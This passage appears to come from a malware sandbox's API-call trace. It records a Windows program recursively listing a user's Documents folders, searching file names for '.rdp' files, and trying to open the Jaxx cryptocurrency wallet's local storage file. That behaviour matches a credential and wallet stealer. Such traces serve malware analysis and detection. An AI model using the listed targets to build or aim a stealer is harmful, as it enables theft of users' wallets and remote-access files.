IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\*.*" [0057.003] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\*.*", lpFindFileData=0x21f760 | out: lpFindFileData=0x21f760) returned 0x2dc978 [0057.003] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0057.003] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f760 | out: lpFindFileData=0x21f760) returned 1 [0057.003] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0057.003] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0057.004] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f760 | out: lpFindFileData=0x21f760) returned 1 [0057.004] StrStrIA (lpFirst="K4i155BHW8C.xlsx", lpSrch=".rdp") returned 0x0 [0057.004] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f760 | out: lpFindFileData=0x21f760) returned 1 [0057.004] lstrcmpiA (lpString1=".", lpString2="pWs7o") returned -1 [0057.004] lstrcmpiA (lpString1="..", lpString2="pWs7o") returned -1 [0057.004] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI") returned 58 [0057.004] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI") returned 58 [0057.004] lstrlenA (lpString="\\") returned 1 [0057.004] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x2d1250 [0057.004] lstrcpyA (in: lpString1=0x2d1250, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI" [0057.004] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\" [0057.004] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\") returned 59 [0057.004] lstrlenA (lpString="pWs7o") returned 5 [0057.004] LocalAlloc (uFlags=0x40, uBytes=0xc1) returned 0x2d5a08 [0057.004] lstrcpyA (in: lpString1=0x2d5a08, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\" [0057.004] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\", lpString2="pWs7o" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\pWs7o") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\pWs7o" [0057.004] LocalFree (hMem=0x2d1250) returned 0x0 [0057.004] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\pWs7o") returned 64 [0057.004] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\pWs7o") returned 64 [0057.004] lstrlenA (lpString="\\*.*") returned 4 [0057.004] LocalAlloc (uFlags=0x40, uBytes=0xc5) returned 0x2d5ad8 [0057.004] lstrcpyA (in: lpString1=0x2d5ad8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\pWs7o" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\pWs7o") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\pWs7o" [0057.004] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\pWs7o", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\pWs7o\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\pWs7o\\*.*" [0057.004] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\pWs7o\\*.*", lpFindFileData=0x21f5d0 | out: lpFindFileData=0x21f5d0) returned 0x2dc9b8 [0057.004] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0057.004] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21f5d0 | out: lpFindFileData=0x21f5d0) returned 1 [0057.004] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0057.004] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0057.004] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21f5d0 | out: lpFindFileData=0x21f5d0) returned 1 [0057.004] StrStrIA (lpFirst="b7JXWOYO49E59efDo.pptx", lpSrch=".rdp") returned 0x0 [0057.004] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21f5d0 | out: lpFindFileData=0x21f5d0) returned 1 [0057.004] StrStrIA (lpFirst="bKfveCNS2G8khnM4C.pps", lpSrch=".rdp") returned 0x0 [0057.004] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21f5d0 | out: lpFindFileData=0x21f5d0) returned 1 [0057.004] StrStrIA (lpFirst="dlOBfm9.ots", lpSrch=".rdp") returned 0x0 [0057.004] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21f5d0 | out: lpFindFileData=0x21f5d0) returned 1 [0057.004] StrStrIA (lpFirst="VNbQY-fHfjTXe5r920VH.xls", lpSrch=".rdp") returned 0x0 [0057.004] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21f5d0 | out: lpFindFileData=0x21f5d0) returned 1 [0057.004] StrStrIA (lpFirst="y9c56JojY.pdf", lpSrch=".rdp") returned 0x0 [0057.004] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21f5d0 | out: lpFindFileData=0x21f5d0) returned 0 [0057.004] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0057.004] LocalFree (hMem=0x2d5ad8) returned 0x0 [0057.004] LocalFree (hMem=0x2d5a08) returned 0x0 [0057.004] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f760 | out: lpFindFileData=0x21f760) returned 1 [0057.004] StrStrIA (lpFirst="Qi2xmt0Rq.ots", lpSrch=".rdp") returned 0x0 [0057.004] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f760 | out: lpFindFileData=0x21f760) returned 1 [0057.004] lstrcmpiA (lpString1=".", lpString2="Q_BidTkXLKw_9KnQ") returned -1 [0057.004] lstrcmpiA (lpString1="..", lpString2="Q_BidTkXLKw_9KnQ") returned -1 [0057.004] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI") returned 58 [0057.004] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x2d1250 [0057.005] lstrcpyA (in: lpString1=0x2d1250, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI" [0057.005] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\" [0057.005] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\") returned 59 [0057.005] lstrlenA (lpString="Q_BidTkXLKw_9KnQ") returned 16 [0057.005] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x302628 [0057.005] lstrcpyA (in: lpString1=0x302628, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\" [0057.005] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\", lpString2="Q_BidTkXLKw_9KnQ" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ" [0057.005] LocalFree (hMem=0x2d1250) returned 0x0 [0057.005] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ") returned 75 [0057.005] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x302700 [0057.005] lstrcpyA (in: lpString1=0x302700, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ" [0057.005] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\*.*" [0057.005] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\*.*", lpFindFileData=0x21f5d0 | out: lpFindFileData=0x21f5d0) returned 0x2dc9b8 [0057.005] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0057.005] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21f5d0 | out: lpFindFileData=0x21f5d0) returned 1 [0057.005] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0057.005] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0057.005] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21f5d0 | out: lpFindFileData=0x21f5d0) returned 1 [0057.005] lstrcmpiA (lpString1=".", lpString2="--5T-LWBO4qPlwr80xX") returned -1 [0057.005] lstrcmpiA (lpString1="..", lpString2="--5T-LWBO4qPlwr80xX") returned -1 [0057.005] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ") returned 75 [0057.005] LocalAlloc (uFlags=0x40, uBytes=0xcd) returned 0x3027d8 [0057.005] lstrcpyA (in: lpString1=0x3027d8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ" [0057.005] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\" [0057.005] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\") returned 76 [0057.005] lstrlenA (lpString="--5T-LWBO4qPlwr80xX") returned 19 [0057.005] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x2fc080 [0057.005] lstrcpyA (in: lpString1=0x2fc080, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\" [0057.005] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\", lpString2="--5T-LWBO4qPlwr80xX" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\--5T-LWBO4qPlwr80xX") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\--5T-LWBO4qPlwr80xX" [0057.005] LocalFree (hMem=0x3027d8) returned 0x0 [0057.005] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\--5T-LWBO4qPlwr80xX") returned 95 [0057.005] LocalAlloc (uFlags=0x40, uBytes=0xe4) returned 0x2e29c0 [0057.005] lstrcpyA (in: lpString1=0x2e29c0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\--5T-LWBO4qPlwr80xX" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\--5T-LWBO4qPlwr80xX") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\--5T-LWBO4qPlwr80xX" [0057.005] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\--5T-LWBO4qPlwr80xX", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\--5T-LWBO4qPlwr80xX\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\--5T-LWBO4qPlwr80xX\\*.*" [0057.005] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\Documents\\ymqYua5gihZXt5YY9sK\\jLbI\\Q_BidTkXLKw_9KnQ\\--5T-LWBO4qPlwr80xX\\*.*", lpFindFileData=0x21f440 | out: lpFindFileData=0x21f440) returned 0x2dc9f8 [0057.005] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0057.005] FindNextFileA (in: hFindFile=0x2dc9f8, lpFindFileData=0x21f440 | out: lpFindFileData=0x21f440) returned 1 [0057.005] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0057.005] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0057.005] FindNextFileA (in: hFindFile=0x2dc9f8, lpFindFileData=0x21f440 | out: lpFindFileData=0x21f440) returned 1 [0057.005] StrStrIA (lpFirst="bT2EWIE0.odp", lpSrch=".rdp") returned 0x0 [0057.005] FindNextFileA (in: hFindFile=0x2dc9f8, lpFindFileData=0x21f440 | out: lpFindFileData=0x21f440) returned 1 [0057.005] StrStrIA (lpFirst="DK-E.xlsx", lpSrch=".rdp") returned 0x0 [0057.005] FindNextFileA (in: hFindFile=0x2dc9f8, lpFindFileData=0x21f440 | out: lpFindFileData=0x21f440) returned 1 [0057.005] StrStrIA (lpFirst="g0cXpo9 l_9.pdf", lpSrch=".rdp") returned 0x0 [0057.006] FindNextFileA (in: hFindFile=0x2dc9f8, lpFindFileData=0x21f440 | out: lpFindFileData=0x21f440) returned 1 [0057.006] StrStrIA (lpFirst="HMM2aRES.xls", lpSrch=".rdp") returned 0x0 [0057.006] FindNextFileA (in: hFindFile=0x2dc9f8, lpFindFileData=0x21f440 | out: lpFindFileData=0x21f440) returned 1 [0057.006] StrStrIA (lpFirst="uu0sZFDg9q.pps", lpSrch=".rdp") returned 0x0 [0057.006] FindNextFileA (in: hFindFile=0x2dc9f8, lpFindFileData=0x21f440 | out: lpFindFileData=0x21f440) returned 1 [0057.006] StrStrIA (lpFirst="yETt7HkjMeZ_p.ods", lpSrch=".rdp") returned 0x0 [0057.006] FindNextFileA (in: hFindFile=0x2dc9f8, lpFindFileData=0x21f440 | out: lpFindFileData=0x21f440) returned 0 [0057.006] FindClose (in: hFindFile=0x2dc9f8 | out: hFindFile=0x2dc9f8) returned 1 [0057.006] LocalFree (hMem=0x2e29c0) returned 0x0 [0057.006] LocalFree (hMem=0x2fc080) returned 0x0 [0057.006] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21f5d0 | out: lpFindFileData=0x21f5d0) returned 1 [0057.006] StrStrIA (lpFirst="J1SwBT78kuBb8NnH-ee.pps", lpSrch=".rdp") returned 0x0 [0057.006] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21f5d0 | out: lpFindFileData=0x21f5d0) returned 1 [0057.006] StrStrIA (lpFirst="MvSYoI.pps", lpSrch=".rdp") returned 0x0 [0057.006] FindNextFileA (in: hFindFile=0x2dc9b8, lpFindFileData=0x21f5d0 | out: lpFindFileData=0x21f5d0) returned 0 [0057.006] FindClose (in: hFindFile=0x2dc9b8 | out: hFindFile=0x2dc9b8) returned 1 [0057.006] LocalFree (hMem=0x302700) returned 0x0 [0057.006] LocalFree (hMem=0x302628) returned 0x0 [0057.006] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f760 | out: lpFindFileData=0x21f760) returned 1 [0057.006] StrStrIA (lpFirst="yJJxGlYJQvF.ppt", lpSrch=".rdp") returned 0x0 [0057.006] FindNextFileA (in: hFindFile=0x2dc978, lpFindFileData=0x21f760 | out: lpFindFileData=0x21f760) returned 0 [0057.006] FindClose (in: hFindFile=0x2dc978 | out: hFindFile=0x2dc978) returned 1 [0057.006] LocalFree (hMem=0x2d14a8) returned 0x0 [0057.006] LocalFree (hMem=0x2d13e0) returned 0x0 [0057.006] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 1 [0057.006] StrStrIA (lpFirst="QX8xc.rtf", lpSrch=".rdp") returned 0x0 [0057.006] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 1 [0057.006] StrStrIA (lpFirst="RJVDCftzHWCi4UZwxN.xlsx", lpSrch=".rdp") returned 0x0 [0057.006] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 1 [0057.006] StrStrIA (lpFirst="Z517SuiN6.docx", lpSrch=".rdp") returned 0x0 [0057.006] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 1 [0057.006] StrStrIA (lpFirst="ZNgE87vnK3qJ9eY74j.pptx", lpSrch=".rdp") returned 0x0 [0057.006] FindNextFileA (in: hFindFile=0x2dc938, lpFindFileData=0x21f8f0 | out: lpFindFileData=0x21f8f0) returned 0 [0057.006] FindClose (in: hFindFile=0x2dc938 | out: hFindFile=0x2dc938) returned 1 [0057.006] LocalFree (hMem=0x2d1318) returned 0x0 [0057.006] LocalFree (hMem=0x2d2ef8) returned 0x0 [0057.006] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0057.006] StrStrIA (lpFirst="Z98Sl-qVG_MnHL4m.odp", lpSrch=".rdp") returned 0x0 [0057.006] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0057.006] StrStrIA (lpFirst="zRgQLmB.xlsx", lpSrch=".rdp") returned 0x0 [0057.006] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 1 [0057.006] StrStrIA (lpFirst="_Cpez_Qb4O9v Aa.xlsx", lpSrch=".rdp") returned 0x0 [0057.006] FindNextFileA (in: hFindFile=0x2dc8f8, lpFindFileData=0x21fa80 | out: lpFindFileData=0x21fa80) returned 0 [0057.006] FindClose (in: hFindFile=0x2dc8f8 | out: hFindFile=0x2dc8f8) returned 1 [0057.006] LocalFree (hMem=0x2f95f8) returned 0x0 [0057.006] LocalFree (hMem=0x2fc320) returned 0x0 [0057.006] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.006] IStream:LockRegion (This=0x2c1a58, libOffset=0x2cd, cb=0x0, dwLockType=0x0) returned 0x0 [0057.006] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbcc) returned 0x0 [0057.007] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.007] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0057.007] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0057.007] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd8) returned 0x0 [0057.007] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd0) returned 0x0 [0057.007] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbec) returned 0x0 [0057.007] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd4) returned 0x0 [0057.007] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x2fc320 [0057.007] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x2fc320 | out: pszPath="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 0x0 [0057.007] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned 39 [0057.007] lstrlenA (lpString="\\Jaxx\\Local Storage\\file__0.localstorage") returned 40 [0057.007] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x302628 [0057.007] lstrcpyA (in: lpString1=0x302628, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming" [0057.007] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming", lpString2="\\Jaxx\\Local Storage\\file__0.localstorage" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Jaxx\\Local Storage\\file__0.localstorage") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Jaxx\\Local Storage\\file__0.localstorage" [0057.007] LocalFree (hMem=0x2fc320) returned 0x0 [0057.007] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x21fc00 | out: ppstm=0x21fc00*=0x2dfd18) returned 0x0 [0057.007] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Jaxx\\Local Storage\\file__0.localstorage" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\jaxx\\local storage\\file__0.localstorage"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.007] IUnknown:Release (This=0x2dfd18) returned 0x0 [0057.007] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.007] IStream:LockRegion (This=0x2c1a58, libOffset=0x2dd, cb=0x0, dwLockType=0x0) returned 0x0 [0057.007] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fbd4) returned 0x0 [0057.007] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.007] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.007] GetHGlobalFromStream (in: pstm=0x2c1a58, phglobal=0x21fc98 | out: phglobal=0x21fc98) returned 0x0 [0057.007] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.007] GlobalLock (hMem=0x220004) returned 0x2e29c0 [0057.007] LocalAlloc (uFlags=0x40, uBytes=0x5a0080) returned 0x2660020 [0057.008] LocalAlloc (uFlags=0x40, uBytes=0x100401) returned 0x2c10020 [0057.011] GlobalUnlock (hMem=0x220004) returned 0 [0057.012] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x0) returned 0x0 [0057.012] IStream:Stat (in: This=0x2c1a58, pstatstg=0x0, grfStatFlag=0x0 | out: pstatstg=0x0) returned 0x0 [0057.012] IStream:Commit (This=0x2c1a58, grfCommitFlags=0xbc0e634) returned 0x0 [0057.012] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fc74) returned 0x0 [0057.012] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fc74) returned 0x0 [0057.012] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x2c10020) returned 0x0 [0057.012] LocalFree (hMem=0x2660020) returned 0x0 [0057.014] LocalFree (hMem=0x2c10020) returned 0x0 [0057.015] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.015] GetHGlobalFromStream (in: pstm=0x2c1a58, phglobal=0x21fc9c | out: phglobal=0x21fc9c) returned 0x0 [0057.015] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.015] GlobalLock (hMem=0x220004) returned 0x2e29c0 [0057.015] GlobalUnlock (hMem=0x220004) returned 0 [0057.015] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.015] IStream:Commit (This=0x2c1a58, grfCommitFlags=0x21fc88) returned 0x0 [0057.015] GetHGlobalFromStream (in: pstm=0x2c1a58, phglobal=0x21fc9c | out: phglobal=0x21fc9c) returned 0x0 [0057.015] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.015] GlobalLock (hMem=0x220004) returned 0x2e29c0 [0057.015] GlobalUnlock (hMem=0x220004) returned 0 [0057.015] IStream:LockRegion (This=0x2c1a58, libOffset=0xfffffffc, cb=0x0, dwLockType=0x2) returned 0x0 [0057.015] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x1) returned 0x0 [0057.015] IStream:LockRegion (This=0x2c1a58, libOffset=0x0, cb=0x0, dwLockType=0x2) returned 0x0 [0057.015] IStream:LockRegion (This=0x2c1a58, libOffset=0x122, cb=0x0, dwLockType=0x0) returned 0x0 [0057.015] IStream:SetSize (This=0x2c1a58, libNewSize=0x21fc78) returned 0x0 [0057.015] GetHGlobalFromStream (in: pstm=0x2c1a58, phglobal=0x21fb84 | out: 